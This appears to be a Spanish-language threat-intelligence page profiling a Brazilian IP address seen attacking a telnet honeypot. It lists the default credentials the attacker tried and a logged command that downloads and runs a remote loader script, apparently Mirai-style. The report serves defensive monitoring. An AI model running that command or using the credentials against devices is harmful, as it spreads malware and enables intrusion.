TROYANOSYVIRUS
Amenaza ActivaMEDIO

109.104.155.28

Pais de Origen🇧🇷 Brasil
Primera Deteccion18/4/2026
Ultima Actividad18/4/2026
ISPBrainStorm Network, Inc
🎯
864
Ataques Totales
🔌
1
Puertos
📡
1
Tipos Ataque
🦠
3
Malware

Geolocalizacion

Pais
🇧🇷 Brasil
Ciudad
São Paulo
ASN
AS136258
ISP
BrainStorm Network, Inc

Tipos de Ataque

ssh_telnet_honeypot

Puertos Atacados

23

Malware Asociado

Credenciales Intentadas

🔐root/admin
40x
🔐root/(vacio)
38x
🔐root/root
37x
🔐root/password
34x
🔐root/12345
5x
🔐guest/guest
2x
🔐root/default
2x
🔐default/S2fGqNFs
2x
🔐root/123456
2x
🔐supervisor/zyad1234
2x
🔐default/OxhlwSG8
2x
🔐root/anko
2x
🔐ubnt/ubnt
2x
🔐mother/(vacio)
2x
🔐default/default
2x

Comandos Ejecutados

$echo mirai38x
$cd /tmp || cd /run || cd /var/run || cd /dev/shm; wget https://tg-xxooxx888.8964.mom/loader.sh -O .x 2>/dev/null || curl -s https://tg-xxooxx888.8964.mom/loader.sh -o .x; chmod 777 .x; ./.x telnet; rm -f .x36x

Exposicion segun Shodan InternetDBShodan

Datos de InternetDB, actualizacion no en tiempo real

Evaluacion de Riesgo

50
/100
BajoMedioAltoCritico